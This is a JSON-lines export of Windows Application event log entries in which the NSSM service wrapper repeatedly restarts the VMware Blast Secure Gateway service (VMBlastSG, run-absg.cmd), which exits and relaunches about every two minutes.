{"@timestamp":1646619734910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153354}}
{"@timestamp":1646619734910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153355}}
{"@timestamp":1646619734911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153356}}
{"@timestamp":1646619734912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153357}}
{"@timestamp":1646619863569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153358}}
{"@timestamp":1646619863570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153359}}
{"@timestamp":1646619863573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150320","0"]}}},"module":"Application","provider":"nssm","sequence":153360}}
{"@timestamp":1646619863574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150320","150320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153361}}
{"@timestamp":1646619863591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153362}}
{"@timestamp":1646619863592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153363}}
{"@timestamp":1646619863592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153364}}
{"@timestamp":1646619863593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153365}}
{"@timestamp":1646619992084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153366}}
{"@timestamp":1646619992086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153367}}
{"@timestamp":1646619992087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149644","0"]}}},"module":"Application","provider":"nssm","sequence":153368}}
{"@timestamp":1646619992087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149644","149644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153369}}
{"@timestamp":1646619992106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153370}}
{"@timestamp":1646619992107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153371}}
{"@timestamp":1646619992107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153372}}
{"@timestamp":1646619992108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153373}}
{"@timestamp":1646620120600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153374}}
{"@timestamp":1646620120601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153375}}
{"@timestamp":1646620120602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148368","0"]}}},"module":"Application","provider":"nssm","sequence":153376}}
{"@timestamp":1646620120602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148368","148368","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153377}}
{"@timestamp":1646620120618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153378}}
{"@timestamp":1646620120619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153379}}
{"@timestamp":1646620120621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153380}}
{"@timestamp":1646620120622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153381}}
{"@timestamp":1646620249102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153382}}
{"@timestamp":1646620249104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153383}}
{"@timestamp":1646620249105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150508","0"]}}},"module":"Application","provider":"nssm","sequence":153384}}
{"@timestamp":1646620249105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150508","150508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153385}}
{"@timestamp":1646620249122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153386}}
{"@timestamp":1646620249123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153387}}
{"@timestamp":1646620249123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153388}}
{"@timestamp":1646620249124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153389}}
{"@timestamp":1646620377616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153390}}
{"@timestamp":1646620377617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153391}}
{"@timestamp":1646620377618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150992","0"]}}},"module":"Application","provider":"nssm","sequence":153392}}
{"@timestamp":1646620377618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150992","150992","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153393}}
{"@timestamp":1646620377635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153394}}
{"@timestamp":1646620377636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153395}}
{"@timestamp":1646620377636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153396}}
{"@timestamp":1646620377637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153397}}
{"@timestamp":1646620506147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153398}}
{"@timestamp":1646620506150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153399}}
{"@timestamp":1646620506151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150540","0"]}}},"module":"Application","provider":"nssm","sequence":153400}}
{"@timestamp":1646620506152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150540","150540","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153401}}
{"@timestamp":1646620506169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153402}}
{"@timestamp":1646620506170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153403}}
{"@timestamp":1646620506170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153404}}
{"@timestamp":1646620506171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153405}}
{"@timestamp":1646620634912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153406}}
{"@timestamp":1646620634913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153407}}
{"@timestamp":1646620634913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151036","0"]}}},"module":"Application","provider":"nssm","sequence":153408}}
{"@timestamp":1646620634914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151036","151036","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153409}}
{"@timestamp":1646620634930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153410}}
{"@timestamp":1646620634930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153411}}
{"@timestamp":1646620634931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153412}}
{"@timestamp":1646620634932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153413}}
{"@timestamp":1646620763433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153414}}
{"@timestamp":1646620763434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153415}}
{"@timestamp":1646620763435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148504","0"]}}},"module":"Application","provider":"nssm","sequence":153416}}
{"@timestamp":1646620763436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148504","148504","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153417}}
{"@timestamp":1646620763452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153418}}
{"@timestamp":1646620763453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153419}}
{"@timestamp":1646620763454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153420}}
{"@timestamp":1646620763454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153421}}
{"@timestamp":1646620891952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153422}}
{"@timestamp":1646620891954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153423}}
{"@timestamp":1646620891955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150764","0"]}}},"module":"Application","provider":"nssm","sequence":153424}}
{"@timestamp":1646620891955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150764","150764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153425}}
{"@timestamp":1646620891972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153426}}
{"@timestamp":1646620891972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153427}}
{"@timestamp":1646620891973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153428}}
{"@timestamp":1646620891974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153429}}
{"@timestamp":1646621020462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153430}}
{"@timestamp":1646621020464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153431}}
{"@timestamp":1646621020465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150924","0"]}}},"module":"Application","provider":"nssm","sequence":153432}}
{"@timestamp":1646621020465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150924","150924","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153433}}
{"@timestamp":1646621020483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153434}}
{"@timestamp":1646621020484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153435}}
{"@timestamp":1646621020484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153436}}
{"@timestamp":1646621020485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153437}}
{"@timestamp":1646621149000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153438}}
{"@timestamp":1646621149001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153439}}
{"@timestamp":1646621149002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","145652","0"]}}},"module":"Application","provider":"nssm","sequence":153440}}
{"@timestamp":1646621149002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["145652","145652","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153441}}
{"@timestamp":1646621149018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153442}}
{"@timestamp":1646621149018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153443}}
{"@timestamp":1646621149019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153444}}
{"@timestamp":1646621149020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153445}}
{"@timestamp":1646621277509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153446}}
{"@timestamp":1646621277510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153447}}
{"@timestamp":1646621277511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151136","0"]}}},"module":"Application","provider":"nssm","sequence":153448}}
{"@timestamp":1646621277511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151136","151136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153449}}
{"@timestamp":1646621277527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153450}}
{"@timestamp":1646621277528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153451}}
{"@timestamp":1646621277528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153452}}
{"@timestamp":1646621277529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153453}}
{"@timestamp":1646621406676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153454}}
{"@timestamp":1646621406680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153455}}
{"@timestamp":1646621406680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","148752","0"]}}},"module":"Application","provider":"nssm","sequence":153456}}
{"@timestamp":1646621406681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["148752","148752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153457}}
{"@timestamp":1646621406696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153458}}
